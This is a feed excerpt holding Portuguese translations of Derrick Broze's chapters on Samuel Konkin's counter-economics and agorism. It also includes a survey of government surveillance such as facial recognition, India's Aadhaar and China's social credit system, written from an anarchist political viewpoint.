&lt;p>Fonte: BROZE, Derrick; How to Opt-Out of the Technocratic State - 21/01/2020&lt;/p></content:encoded></item><item><title>Contra-Economia e Agorismo</title><link>https://cypherpunks.com.br/documentos/contra-economia-e-agorismo/</link><pubDate>Tue, 21 Jan 2020 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/contra-economia-e-agorismo/</guid><description>Antes de chegarmos ao "como" viver uma vida fora dos limites do Estado Tecnocrático cada vez mais onisciente, devemos entender a história e a filosofia da Contra-Economia. Este capítulo inclui um resumo da estratégia contra-econômica, incluindo várias definições oferecidas por Samuel Konkin III.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Iann Zorkot
Revisado por: C4SS, Instituto Ágora, Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;h1 id="contra-economia-e-agorismo">Contra-Economia e Agorismo&lt;/h1>
&lt;h2 id="derrick-broze">Derrick Broze&lt;/h2>
&lt;blockquote>
&lt;p>Nota: Antes de chegarmos ao &amp;ldquo;como&amp;rdquo; viver uma vida fora dos limites do Estado Tecnocrático cada vez mais onisciente, devemos entender a história e a filosofia da Contra-Economia. Este capítulo inclui um resumo da estratégia contra-econômica, incluindo várias definições oferecidas por Samuel Konkin III. O terceiro capítulo ainda divide a filosofia do Agorismo. Ambos os capítulos foram publicados originalmente em meu terceiro livro, Manifesto of the Free Humans, mas foram atualizados para refletir melhor a natureza específica deste livro. Eu os incluo aqui como uma breve introdução aos conceitos de Contra-Economia e Agorismo.&lt;/p>
&lt;p>É minha esperança que esta destilação do trabalho de Samuel Konkin ajude os leitores a entender que essas estratégias podem ser empregadas em sua vida - independentemente de idade, raça, religião, etnia, gênero, afiliação política, status socioeconômico ou qualquer outra divisão da espécie humana. Muito simplesmente, a Contra-Economia é uma estratégia que pode ser praticada por qualquer pessoa em qualquer lugar do mundo. Para os leitores que são novos neste campo de pesquisa, recomendo dar uma olhada no &lt;a href="https://docplayer.com.br/storage/26/9059377/1660763977/zuLzZ3v8dznB__okdnhAiQ/9059377.pdf" target="_blank" rel="noopener noreferrer">Manifesto do Novo Libertário&lt;/a>
e na &lt;a href="https://drive.google.com/file/d/1I4flLRd--FCPFOXWQ5TxBZCtClPoK_WE/view" target="_blank" rel="noopener noreferrer">Cartilha Agorista&lt;/a>
de Konkin. Para aqueles que estão familiarizados com a Contra-Economia e o Agorismo, recomendo pular para o Capítulo 4.&lt;/p>
&lt;/blockquote>
&lt;p>Em 1979, o anarquista, ativista e escritor Samuel E. Konkin III (SEK3) lançou o Manifesto do Novo Libertário, apresentando sua defesa de uma linha de libertarianismo que ele chamou de “Novo Libertarismo”. A filosofia por trás do Novo Movimento Libertário era o agorismo, em homenagem a “ágora”, a palavra grega para mercado. Iremos elaborar sobre Agorismo em um momento, mas essencialmente é uma filosofia radical que busca criar uma sociedade livre de coerção e força, encorajando as pessoas a se auto-excluir da rede de controle corporativo-estatal. Konkin acreditava que se um movimento de pessoas retirasse seu dinheiro, tempo e apoio do poder corporativo e estatal, isso drenaria recursos suficientes para o colapso do Estado. Com o colapso do Estado, os agoristas ajudariam a construir sistemas que não fossem baseados na violência e na coerção.&lt;/p>
&lt;p>Konkin convocou os indivíduos a abandonarem o sistema econômico dominante porque ele foi um dos primeiros pensadores modernos a reconhecer que o mercado não regulamentado é o maior mercado do mundo. Às vezes conhecido como Sistema-D, economia alternativa ou informal, esse mercado não tributado e não regulamentado tem um valor de mercado na casa dos trilhões de dólares. Ao longo da história, quando um governo ou rei tentou impor a proibição - seja drogas, álcool, jogos de azar, sexo ou livros - eles inadvertidamente causaram um crescimento na economia clandestina ou, como Konkin a chamou, na contra-economia. Ao reconhecer que o Estado foi incapaz de desacelerar o crescimento da contra-economia, Konkin viu uma oportunidade de desempoderar o Estado e preservar a liberdade para o povo.&lt;/p>
&lt;p>Konkin chamou essa estratégia de “Contra-Economia”, que ele definiu como a “teoria e prática de toda ação humana não aceita pelo Estado que não envolve qualquer violência inicial ou ameaça de violência”. Ao longo dos anos, Konkin refinou continuamente sua compreensão e redação sobre o tópico e, ao fazer isso, ele ofereceu várias definições e antecedentes na Contra-Economia:&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;Uma explicação de como as pessoas mantêm suas riquezas e propriedades do Estado é então a economia do Contra-Establishment, ou Contra-Economia para resumir. A prática real das ações humanas que fogem, evitam e desafiam o Estado é a atividade contra-econômica, mas da mesma maneira desleixada que &amp;ldquo;Economia&amp;rdquo; se refere tanto à ciência quanto ao que ela estuda, o termo Contra-Economia sem dúvida será usado. Visto que este escrito é a própria teoria da Contra-Economia, o que será referido como Contra-Economia é a prática. &amp;quot; (O Manifesto do Novo Libertário)&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>&amp;ldquo;Um Contra-Economista é (1) qualquer pessoa que pratique um ato contra-econômico; (2) aquele que estuda tais atos. A contra-economia é (1) a prática e/ou (2) o estudo dos atos contra-econômicos.&amp;rdquo; (Uma Cartilha Agorista)&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>&amp;ldquo;A contra-economia é fazer o que quiser, quando quiser, por seus próprios bons motivos.&amp;rdquo; (Contra-Economia)&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>“A contra-economia soa como contra-cultura; na verdade, o termo foi escolhido com isso em mente. Onde a contracultura rejeitou uma“ cultura ”do establishment e seus valores na década de 1960, os contra-economistas rejeitaram a economia do establishment por ser igualmente corrupta. Grande parte da contracultura era contra-econômica, grande parte não era. Anti-economia não é o mesmo que contra-economia; na verdade, a contra-economia como teoria foi desenvolvida a partir do que poderia ser chamado de revolta ortodoxa contra uma economia estabelecida herética e impura.&amp;rdquo; (Contra-Economia)&lt;/p>
&lt;/blockquote>
&lt;p>Sempre vi a Contra-Economia como um método de alinhar suas ações com seus objetivos e princípios declarados. Se você não apóia guerras ilegais de agressão, encontre maneiras de evitar o pagamento de impostos ou doe seus impostos para uma instituição de caridade (veja: &lt;a href="https://nwtrcc.org/" target="_blank" rel="noopener noreferrer">War Tax Resistance&lt;/a>
). Se você está cansado dos bancos centrais manipularem a moeda do Estado e escravizá-lo por meio de dinheiro falso, evite o dinheiro do Estado, use moeda alternativa, escambo, reduza sua necessidade de dinheiro, etc.&lt;/p>
&lt;p>A contra-economia sugere que as pessoas morais violem as leis ruins ao escolher conscientemente optar por sistemas que não se alinham com seus valores. Como Konkin escreveu no inacabado Contra-Economia:&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;Atividade contra-econômica é qualquer ação humana que ocorre sem a aprovação do Estado. E uma vez que as leis cobrem quase todos os empreendimentos humanos, muitas vezes proibindo tanto a ação quanto sua correspondente inação, todos, pelo menos em um pequeno grau, devem desviar ou quebrar as leis simplesmente para existir.&amp;rdquo;&lt;/p>
&lt;/blockquote>
&lt;p>Ser um contra-economista significa que quando você se depara com um obstáculo à sua liberdade e saúde, você encontra uma maneira de contorná-lo. Isso pode incluir o uso ou a criação de moedas alternativas, esforços de jardinagem comunitária que fornecem uma oportunidade de se livrar de grandes mercearias corporativas, resistência a impostos, operar um negócio sem licenças para que seu dinheiro suado não vá para o Estado e muito mais. A contra-economia também se estende à criação de programas de educação alternativa, escolas gratuitas ou ações de habilidades e empreendimentos de mídia independente que se opõem às narrativas do establishment.&lt;/p>
&lt;p>A realidade é que a contra-economia está ao seu redor. Toda vez que alguém paga um vizinho em dinheiro para cortar a grama ou fazer trabalhos manuais, está participando da contra-economia. A transação não envolve impostos indo para o Estado e o dinheiro a torna uma transação não digital e indetectável. Se você já fez compras em uma venda de garagem, mercado de pulgas ou loja pop-up e não pagou impostos - ou talvez até mesmo pagou com uma moeda alternativa - você foi um contra-economista. É claro que a maioria do público que participa da economia contrária/clandestina/alternativa não percebe o potencial e provavelmente nunca ouviu falar de Konkin ou da contra-economia. Ele acreditava que um aumento na consciência do poder da contra-economia poderia criar um movimento de massa de pessoas saindo do sistema e construindo novos caminhos fora do Estado Tecnocrático.&lt;/p>
&lt;p>Para uma compreensão mais profunda do trabalho de Konkin, vamos dar uma olhada em seus escritos sobre agorismo. É importante notar que não é necessário se identificar como um novo libertário, libertário, agorista ou anarquista para apreciar e fazer uso da Contra-Economia. Simplificando, pode-se praticar a Contra-Economia pelos benefícios que ela oferece para escapar da Tecnocracia, embora não concorde completamente com as teorias de Konkin. No entanto, compartilho esta pesquisa porque acredito que suas ideias oferecem um caminho viável para o futuro.
Compreendendo o Agorismo&lt;/p>
&lt;p>No Manifesto do Novo Libertário, SEK3 descreve sua visão para um mundo mais livre e justo, primeiro descrevendo a condição atual da sociedade: &lt;em>Estatismo. Estatismo é a tendência dos cidadãos de uma nação de ver o Estado como o mecanismo pelo qual a mudança pode ser realizada. Assim, um estatista é alguém que confia cegamente na autoridade do Estado e sempre enxerga o Estado como solução para os males da sociedade.&lt;/em>&lt;/p>
&lt;p>Konkin descreve brevemente o caminho do pensamento humano, da escravidão à descoberta do pensamento libertário, e enfatiza a importância da consistência entre meios e fins. Na verdade, Konkin acredita que expor inconsistências estatistas é “a atividade mais crucial do teórico libertário”. A partir daqui, Konkin descreve o objetivo do Agorismo e os meios contra-econômicos necessários para atingir esse objetivo.&lt;/p>
&lt;p>A fim de pintar um quadro claro da luta agorista por um mundo mais livre, Konkin explica os quatro estágios do Estatismo ao Agorismo, bem como as várias ações que um agorista praticante consciente pode realizar para promover a propaganda agorista e a atividade contra-econômica . Ao compreender a visão de progresso de Konkin, é possível criar um diagrama para delinear o quão longe a sociedade como um todo chegou e onde nós, como indivíduos, nos encaixamos nessas etapas. Depois que as etapas forem mapeadas, será possível apontar estratégias que podem ajudar o novo libertário a passar de um estágio para o seguinte.&lt;/p>
&lt;p>Konkin começa em &lt;em>“Fase Zero: Sociedade Agorista de Zero Densidade”&lt;/em> A Fase Zero é a época em que os agoristas não existiam e o pensamento libertário era disperso e desorganizado, o que Konkin diz ter sido &amp;ldquo;a maior parte da história humana&amp;rdquo;. Assim que os libertários tomaram conhecimento da filosofia do agorismo, a atividade contra-econômica começou e passamos para a &lt;em>“Fase 1: Sociedade agorista de baixa densidade”&lt;/em>.&lt;/p>
&lt;p>Nesta fase, aparecem os primeiros libertários contra-econômicos. Konkin acreditava que este era um momento perigoso para ativistas que seriam tentados por esquemas de “Obter Liberdade Rapidamente”. Konkin também lembra os agoristas de não serem tentados por campanhas políticas. “Todos irão falhar por nenhuma outra razão, pois, a liberdade cresce indivíduo a indivíduo. A conversão em massa é impossível ”, escreveu ele.&lt;/p>
&lt;p>A Fase 1 é apresentada em um momento em que o principal objetivo dos poucos contra-economistas praticantes é o recrutamento e a criação de &lt;em>&amp;ldquo;caucus radicais&amp;rdquo;&lt;/em> - ou o que chamo de &lt;em>células da liberdade&lt;/em>. Konkin também observa que a maioria da sociedade está agindo &amp;ldquo;com pouco entendimento de qualquer teoria mas que são induzidos pelo ganho material a fugir, evitar ou desafiar o Estado. Certamente eles são um potencial promissor? ”&lt;/p>
&lt;p>Para alcançar a sociedade livre, Konkin novamente enfatiza a necessidade de educação e &lt;em>“conscientização dos contra-economistas para a compreensão libertária e apoio mútuo”&lt;/em>. SEK3 também pediu a criação de um movimento que pudesse crescer forte o suficiente em influência e números nos últimos estágios da Fase 1 para ser capaz de &lt;em>“bloquear ações marginais do Estado”&lt;/em>. A capacidade de bloquear ações do Estado aumentou absolutamente nos últimos anos com a explosão de redes descentralizadas, ponto a ponto, via Internet, que permitem o compartilhamento rápido de informações e chamadas para organização. É cada vez maior o número de vídeos na Internet que mostram comunidades se unindo para se opor às apreensões injustas por agentes do Estado.&lt;/p>
&lt;p>Por exemplo, os sites e aplicativos &lt;em>FreedomCells.org&lt;/em>, &lt;em>NextDoor.com&lt;/em> e &lt;em>GetCell411.com&lt;/em> oferecem ferramentas que podem ser usadas para fortalecer nossas comunidades, fazer crescer a contra-economia e resistir ao Estado. Usando a Freedom Cell Network, pode-se localizar outros indivíduos que buscam a liberdade em sua cidade, estado ou país com o objetivo específico de se organizar no mundo real e contornar a necessidade de governo.&lt;/p>
&lt;p>Em 2016, lançamos FreedomCells.org como uma plataforma online para construir grupos de ajuda mútua conhecidos como Células de Liberdade, que exploraremos em detalhes no próximo capítulo. O NextDoor também permite que o usuário se conecte com a comunidade local, tanto digitalmente quanto no mundo real. O aplicativo tem a vantagem adicional de estar focado em um bairro específico. Isso permite que as pessoas publiquem informações de segurança importantes, itens perdidos e achados ou oportunidades de negócios contra-econômicos diretamente para aqueles que moram perto deles. Finalmente, o Cell411 se descreve como uma &amp;ldquo;plataforma de gerenciamento de emergência gratuita em tempo real&amp;rdquo;. Isso significa que permite criar “células” ou grupos para os quais você pode enviar alertas diretos em caso de pneu furado, acidente automobilístico, violência de um agente do Estado ou alguma outra emergência. O aplicativo também permite o compartilhamento de viagens verdadeiramente agorista, onde terceiros não ditam o preço da viagem ou a moeda que deve ser usada.&lt;/p>
&lt;blockquote>
&lt;p>Nota: Mais uma vez, para o potencial leitor do futuro, se esses aplicativos e sites se tornaram irrelevantes devido ao tempo e aos avanços tecnológicos, é importante garantir que nós, como pessoas livres, tenhamos alternativas ao Estado e às empresas.&lt;/p>
&lt;/blockquote>
&lt;p>Cada uma dessas ferramentas é uma parte da tecnologia da contra-economia que tem o potencial de tornar a intervenção e regulamentação governamental completamente inútil. Se aproveitarmos o momento, podemos expandir os mercados negro e cinza usando essas plataformas emergentes ponto a ponto. Isso é exatamente o que Konkin acreditava que ajudaria a sociedade a progredir da Fase 1 para a Fase 2.&lt;/p>
&lt;p>À medida que avançamos para a &lt;em>“Fase 2: Sociedade Agorista de Pequena Condensação e Média Densidade”&lt;/em>, os estatistas notam o Agorismo. É nesta fase que Konkin acredita que a contra-economia crescerá e os agoristas começarão a representar &lt;em>“uma sub-sociedade agorista cada vez maior inserida na sociedade estatista”&lt;/em>. Embora a maioria dos agoristas ainda viva dentro dos territórios reivindicados pelo estado, começamos a ver um &lt;em>&amp;ldquo;espectro de grau de agorismo na maioria dos indivíduos&amp;rdquo;&lt;/em>. Isso inclui benfeitores do Estado que são &lt;em>“altamente estatistas” e “alguns totalmente conscientes da alternativa agorista”&lt;/em>, entretanto a maioria da sociedade ainda está engajada na Economia Estatista.&lt;/p>
&lt;p>A partir daqui, Konkin sugere que os agoristas podem querer começar a condensar-se em distritos, guetos, ilhas ou colônias espaciais. Na verdade, estamos começando a ver a criação de comunidades com mentalidade agorista, seasteaders, eco-vilas, cooperativas e espaços subterrâneos que enfatizam a atividade contra-econômica e a criação de contra-instituições para o Estado. Konkin acreditava que essas comunidades agoristas poderiam contar com a simpatia da sociedade dominante para evitar um ataque do Estado.&lt;/p>
&lt;p>Este é o momento em que a questão da proteção e defesa da comunidade entra em jogo. Vimos a criação de alternativas de proteção da comunidade ao monopólio do estado policial (veja o Centro de Gerenciamento de Ameaças em Detroit e as Autodefesas no México), mas até agora nada completamente agorista surgiu. É a criação desses sindicatos de proteção da comunidade que, em última instância, permitirá que a ágora floresça. No entanto, para que isso aconteça, &lt;em>“toda a sociedade foi [deve ser] contaminada pelo agorismo até certo ponto”&lt;/em>, levando à possível criação de um movimento superficial [N.T.: no sentido de &amp;rsquo;legalizado&amp;rsquo; ou subterrâneo] que Konkin chamou de Nova Aliança Libertária (NAL). O NAL simplesmente atua como o porta-voz da ágora e usa &lt;em>&amp;ldquo;todas as chances de divulgar a superioridade da vida agorista em relação à habitação estatista e, quando possível, defender a tolerância daqueles que seguem ‘caminhos diferentes’.”&lt;/em>&lt;/p>
&lt;p>Isso nos leva à &lt;em>&amp;ldquo;Fase 3: alta densidade, grande condensação, sociedade agorista&amp;rdquo;&lt;/em>, que é descrita como o ponto em que o estado entrou em um período de crise terminal devido em parte ao &lt;em>&amp;ldquo;esgotamento dos recursos do estado e corrosão de sua autoridade pelo crescimento da Contra-Economia.”&lt;/em> À medida que a influência da ágora cresce, o domínio do Estado também se dissipa por causa de práticas econômicas insustentáveis. Konkin avisa novamente que os estatistas tentarão conquistar novos libertários com &amp;ldquo;anti-princípios&amp;rdquo; e apela à manutenção da &amp;ldquo;vigilância e pureza de pensamento&amp;rdquo;. Novos libertários altamente motivados mudam para P&amp;amp;D para ajudar a criar as primeiras agências agoristas de proteção e arbitragem que irão competir com o Estado. Neste ponto, o governo existe em bolsões com o Estado principalmente concentrado em um território geográfico. Aqueles que vivem sob o estatismo estão muito cientes da liberdade experimentada por suas contrapartes agoristas. O estado se tornou fraco o suficiente para que *“grandes sindicatos de agências de proteção de mercado” *possam conter o estado e defender novos libertários que se inscrevam em seguros de proteção. Isso, acreditava Konkin, era &amp;ldquo;a etapa final antes da conquista de uma sociedade libertária&amp;rdquo;. A sociedade está dividida entre as áreas agoristas maiores e os centros estatistas isolados.&lt;/p>
&lt;p>A transição da Fase 3 para a Fase 4 traz &lt;em>&amp;ldquo;o último desencadeamento de violência pela classe dominante do estado.&amp;rdquo;&lt;/em> Konkin disse que assim que os intelectuais do Estado reconhecerem que sua autoridade não é mais respeitada, eles escolherão atacar. A defesa contra o Estado será administrada depois que a contra-economia gerou os sindicatos de agências de proteção grandes o suficiente para se defender dos restantes estatistas. O NAL deve trabalhar para evitar que o Estado reconheça suas fraquezas até que o movimento agorista tenha infectado completamente a sociedade estatista. Assim que as comunidades agoristas resistirem com sucesso ao ataque do Estado, a revolução agorista estará completa. À medida que passamos da Fase 3 para a 4, Konkin observa que as três primeiras mudanças &lt;em>“são, na verdade, divisões bastante artificiais; nenhuma mudança abrupta ocorre do primeiro para o segundo para o terceiro.”&lt;/em> No entanto, ele prevê que a mudança da terceira para a quarta fase será &amp;ldquo;bastante repentina&amp;rdquo;.&lt;/p>
&lt;p>Na &lt;em>Fase 4, &amp;ldquo;Sociedade Agorista com Impurezas Estatistas&amp;rdquo;&lt;/em>, o Estado perdeu o fôlego e a contra-economia se torna o mercado liberto onde as trocas são livres de coerção. Konkin prevê que &lt;em>“a divisão do trabalho e o autorrespeito de cada trabalhador-capitalista-empreendedor provavelmente eliminará a organização empresarial tradicional - especialmente a hierarquia corporativa, uma imitação do Estado e não do Mercado”&lt;/em>. Ele imagina as empresas como associações de contratantes independentes, consultores e empreendedores. Depois que os remanescentes do Estado são apreendidos e levados à justiça, a liberdade se torna a base da vida cotidiana e &lt;em>“enfrentamos os outros problemas que a humanidade enfrenta”&lt;/em>.&lt;/p>
&lt;p>Se a visão de Konkin for totalmente realizada, o mundo pelo menos fez algum ligeiro progresso através das fases previstas no Manifesto do Novo Libertário. Todos os sinais apontam para a contra-economia e a prática consciente do movimento agorista para estar em algum lugar no final da Fase 1 e se fundindo à Fase 2. Como mencionado acima, a Internet (e a tecnologia como um todo) aumentou muito as chances de sucesso da revolução konkiniana. Enquanto a humanidade está sendo exposta ao valor de uma vida livre de coerção, ela ainda não foi devidamente exposta às ferramentas para criar tal mundo. Se o movimento agorista e a contra-economia continuarem se expandindo em taxas iguais à violência e ao roubo do Estado, será apenas uma questão de tempo até que vejamos agências de proteção com capacidade de defender o povo. Konkin acreditava que uma vez que o povo reconhecesse que o Estado está enfraquecido e em declínio, ele naturalmente gravitará em direção à contra-economia, levando sua visão agorista a se tornar realidade.&lt;/p>
&lt;p>É evidente que as pessoas do mundo desejam trocar seus bens e serviços sem barreiras opressivas e elitistas à entrada no mercado. As pessoas desejam se associar e trocar voluntariamente sem interferência ou intervenção. Esse desejo sempre levará à criação de atividades contra-econômicas nos mercados negro e cinza, enquanto a economia estatista “dominante” estiver sujeita aos caprichos dos atuais fantoches no controle. No entanto, tentar escapar da regulamentação do Estado não é o único objetivo de nossa estratégia agorista e contra-econômica. O fim do jogo é uma sociedade sem estado onde as pessoas são livres e, portanto, não estão presas pela força e coerção do estado parasita e da classe corporativa.&lt;/p>
&lt;p>Embora raramente seja discutido em escolas públicas ou na grande mídia, há vários exemplos de sociedades e comunidades sem Estado existentes ao longo da história. Para aqueles interessados em estudar as sociedades sem Estado do passado, recomendo estudar &lt;em>&lt;a href="https://files.libcom.org/files/Art.pdf" target="_blank" rel="noopener noreferrer">The Art of Not Being Governed de JamesScott: An Anarchist History of Upland Southeast Asia&lt;/a>
&lt;/em>; &lt;em>&lt;a href="http://bestselerbooks.com/?q=0991305957" target="_blank" rel="noopener noreferrer">A Century of Anarchy: Neutral Moresnet through the revisionist Lens&lt;/a>
&lt;/em>; e &lt;em>&lt;a href="https://joaocamillopenna.files.wordpress.com/2017/08/clastres-a-sociedade-contra-o-estado-2.pdf" target="_blank" rel="noopener noreferrer">Sociedade Contra o Estado de Pierre Clastres&lt;/a>
&lt;/em>.&lt;/p>
&lt;hr>
&lt;p>Fonte: BROZE, Derrick; How to Opt-Out of the Technocratic State - 21/01/2020&lt;/p></content:encoded></item><item><title>Contra-Economia Na Era Digital</title><link>https://cypherpunks.com.br/documentos/contra-economia-na-era-digital/</link><pubDate>Tue, 21 Jan 2020 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/contra-economia-na-era-digital/</guid><description>Até este ponto, compartilhamos a história da Tecnocracia, a estratégia da Contra-Economia e o Agorismo. Também exploramos como o caminho contra-econômico tem o potencial de ser a solução para nossa distopia digital. Agora vamos discutir as soluções para viver uma vida tão livre das garras do Estado Tecnocrático quanto possível.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Iann Zorkot
Revisado por: C4SS, Instituto Ágora, Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;h1 id="contra-economia-na-era-digital">Contra-Economia Na Era Digital&lt;/h1>
&lt;p>Até este ponto, compartilhamos a história da Tecnocracia, a estratégia da Contra-Economia e o Agorismo. Também exploramos como o caminho contra-econômico tem o potencial de ser a solução para nossa distopia digital. Agora vamos discutir as soluções para viver uma vida tão livre das garras do Estado Tecnocrático quanto possível.&lt;/p>
&lt;p>Além de ser um filósofo anarquista, Konkin também era fã de ficção científica. Esses dois interesses se fundiram com sua &amp;ldquo;descoberta&amp;rdquo; da Contra-Economia, pois foi sua apreciação do gênero FC que o levou a propor que a tecnologia poderia desempenhar um papel em libertar as pessoas das cadeias da escravidão e expandir a contra-economia. Konkin morreu em 2004, pouco antes de a mídia social, as criptomoedas e a criptografia digital se tornarem comuns. Muito antes do surgimento do bitcoin, Konkin estava discutindo conceitos semelhantes e prevendo que a nova tecnologia de computador facilitaria a atividade contra-econômica. No entanto, Konkin não era tolo. Ele percebeu que as autoridades usariam a tecnologia digital emergente para expandir o controle do Estado.&lt;/p>
&lt;p>Como alguém que passou os últimos sete anos promovendo as idéias de Konkin, reconheço que o Estado Tecnocrático ameaça remover a capacidade de optar sair com segurança do sistema estatal corporativo. Precisamos desesperadamente de soluções para manter o anonimato e a privacidade necessários para navegar com segurança na contra-economia sob o mundo digital distópico em que vivemos. Não está claro se Konkin poderia ver a direção que o mundo estava tomando quando ele deixou este planeta, mas descobri-me contemplando esta questão. O que nos leva à seguinte conversa.&lt;/p>
&lt;p>O que significa ser um contra-economista na Era do Estado de Vigilância? Como alguém pode participar da economia clandestina quando o Big Brother está sempre vigiando? Será possível matar o estado de fome quando a pontuação de crédito social se tornar obrigatória?&lt;/p>
&lt;p>Vamos começar examinando o cenário atual do mundo em relação à vigilância digital e privacidade geral. A partir de 2020, a maior parte do mundo &amp;ldquo;desenvolvido&amp;rdquo; adotou o uso de algum tipo de tecnologia digital, incluindo telefones celulares, tablets, laptops, desktops ou tecnologia digital vestível. As classes média e alta estão se alinhando com a última moda de tudo inteligente, cercando-se de tecnologia que pode ouvir, gravar e/ou assistir suas vidas diariamente. De câmeras de campainha a assistentes domésticos e TVs que estão sempre ouvindo, as massas estão abandonando voluntariamente a privacidade em nome do entretenimento e da conveniência.&lt;/p>
&lt;p>Simultaneamente, as autoridades policiais e governamentais continuam a alegar que precisam de todos os tipos de aparelhos de alta tecnologia para prevenir o terrorismo e o crime violento. Ferramentas de vigilância de telefone celular, câmeras de placas de veículos, câmeras de reconhecimento facial, radares que podem ver através das paredes, aviões de vigilância secretos, monitoramento de mídia social, coleta de DNA, detecção de marcha, detecção de voz e pontuação de ameaças - essas ferramentas estão cada vez mais disponíveis para departamentos dispostos a pagar. Também existem megacorporações semi-privadas que compram todos os dados que podem encontrar sobre os consumidores em potencial. Esses dados são usados para nos vender coisas de que não precisamos, monitorar nossos hábitos diários e, eventualmente, pressionar todos os indivíduos a serem obedientes ao Estado Tecnocrático sob a ameaça de punição e exclusão do mundo digital.&lt;/p>
&lt;p>Em 2019, a organização de tecnologia de consumo Comparitech descobriu que os Estados Unidos, China, Malásia, Paquistão, Índia, Indonésia, Filipinas e Taiwan eram os piores criminosos quando se tratava de proteger a privacidade dos dados biométricos das pessoas. A Comparitech disse que essas nações usam dados biométricos em uma &amp;ldquo;extensão severa e invasiva&amp;rdquo;. Na verdade, a Tecnocracia é um problema crescente em todo o mundo.&lt;/p>
&lt;p>Nos EUA, o &lt;em>Federal Bureau of Investigations(FBI)&lt;/em> vem lutando há anos para manter em segredo um banco de dados contendo centenas de milhões de &amp;ldquo;impressões faciais&amp;rdquo; de cidadãos americanos e não cidadãos. É importante observar que a tecnologia de reconhecimento facial não trata apenas de escanear o rosto de alguém. O software mais recente também está aprendendo a avaliar(e prever) suas emoções e estado de espírito. O FBI também está travando uma guerra contra a criptografia, temendo que as pessoas possam desenvolver um código inquebrável e, assim, manter algum nível de privacidade.&lt;/p>
&lt;p>A &lt;em>Transportation Safety Agency(TSA)&lt;/em>, dos EUA, começou a testar a tecnologia de reconhecimento facial em aeroportos selecionados para viajantes internacionais com planos de expandir o programa em 2021 e 2023. O governo dos EUA expressou interesse em expandir o programa para todos os viajantes. Os planos para este tipo de grade de controle biométrico nos Estados Unidos foram colocados em movimento pela Lei de Reforma da Imigração Ilegal e Responsabilidade do Imigrante de 1996 e expandidos após os ataques de 11 de setembro de 2001. No entanto, houve alguma resistência bem-sucedida contra a Tecnocracia. Em dezembro de 2019, três cidades diferentes dos EUA baniram ou regulamentaram o software de reconhecimento facial, aguardando um estudo mais aprofundado.&lt;/p>
&lt;p>Em novembro de 2019, a França se tornou o primeiro país europeu a usar a tecnologia de reconhecimento facial como parte de uma identidade digital nacional para cidadãos. O novo aplicativo do governo é operado por meio de reconhecimento facial e dará aos usuários acesso a cerca de 500 sites do governo. Aqueles que optassem por não participar seriam, teoricamente, impedidos de acessar esses sites do governo.&lt;/p>
&lt;p>Os cidadãos da Índia já estão presos ao programa de identificação biométrica Aadhaar. Sob esse sistema, relatórios começaram a surgir detalhando casos de cidadãos que tiveram o acesso aos serviços recusado devido a falhas do Aadhaar e, em última análise, morreram de fome como resultado. O programa foi lançado em 2009 com o objetivo de dar a cada cidadão indiano um número de identificação exclusivo verificado biometricamente. Até o final de 2019, estima-se que 1,2 bilhão de indianos estavam inscritos no programa. Os usuários têm sua íris e/ou impressões digitais digitalizadas e, em seguida, recebem um número exclusivo de 12 dígitos vinculado a seus dados biométricos e demográficos. A partir de então eles usam esse número de identificação ao se casar, abrir uma conta bancária, pagar impostos, assinar um contrato de telefone celular ou até mesmo ao iniciar uma carteira digital. Novamente, parece óbvio que aqueles que encontrarem uma maneira de evitar o sistema serão excluídos da sociedade em geral.&lt;/p>
&lt;p>A China é talvez o &amp;lsquo;melhor&amp;rsquo; exemplo atual de um Estado Tecnocrático autoritário avançado e provavelmente o modelo para o resto do mundo. Outro estudo de 2019 da Comparitech relatou que oito das dez cidades mais vigiadas do mundo podem ser encontradas na China. Em 2022, a China terá cerca de uma câmera pública de circuito fechado de televisão(CCTV) para cada duas pessoas. Os estimados 200 milhões de câmeras CCTV fazem parte de uma rede &amp;ldquo;Skynet&amp;rdquo; ativa em toda a China. O governo chinês também começou a coletar DNA dos cidadãos para construir um banco de dados de DNA. O governo está sendo criticado por centros de detenção construídos para uigures, uma população de minoria muçulmana que foi forçada a instalar um aplicativo de spyware em seus telefones e submeter-se a reconhecimento biométrico. No entanto, o governo chinês afirma que os centros de detenção são centros de treinamento vocacional voluntário. Em dezembro de 2019, o governo chinês implementou uma nova regra exigindo que 854 milhões de usuários de Internet da China usem identificação facial para solicitar novos serviços de Internet residenciais ou móveis.&lt;/p>
&lt;p>Igualmente preocupante é a implantação do sistema de crédito social em todo o país. A partir de 2009, o governo chinês começou a testar um sistema de reputação nacional baseado na reputação econômica e social do cidadão ou &amp;ldquo;crédito social&amp;rdquo;. Essa pontuação de crédito social pode ser usada para recompensar ou punir certos comportamentos. No final de 2019, os cidadãos chineses estavam perdendo pontos em sua pontuação por comportamento financeiro desonesto e fraudulento, tocar música alta, comer no transporte público, transar, violar o semáforo, deixar de comparecer a consultas médicas, faltar em entrevistas de emprego ou reservas de hotel sem cancelar e classificação incorreta de resíduos. Para aumentar sua pontuação de crédito social, um cidadão chinês pode doar sangue, doar para uma instituição de caridade aprovada, ser voluntário para serviços comunitários e outras atividades aprovadas pelo governo. O governo chinês começou a negar a milhões de pessoas a capacidade de comprar passagens de avião e trem de alta velocidade devido à baixa pontuação de crédito social e ao fato de serem rotuladas de &amp;ldquo;não confiáveis&amp;rdquo;.&lt;/p>
&lt;p>Este é o mundo do início do século 21. Se presumirmos que a tecnologia continuará a avançar exponencialmente, então provavelmente é uma aposta segura que as preocupações com vigilância e privacidade vieram para ficar. A menos que haja algum tipo de resistência a esses perigos, a privacidade será completamente corroída em uma década. No momento, essas tecnologias são em sua maioria voluntárias. Por exemplo, você não precisa comprar o dispositivo de assistente digital doméstico mais recente e não precisa carregar um telefone celular com você aonde quer que vá. Isso significa que você tem o poder de decidir que tipo de produtos e empresas apoiará com suas compras e como interagir com a tecnologia. Não temos que nos submeter e aceitar cegamente cada atualização ou avanço tecnológico mais recente.&lt;/p>
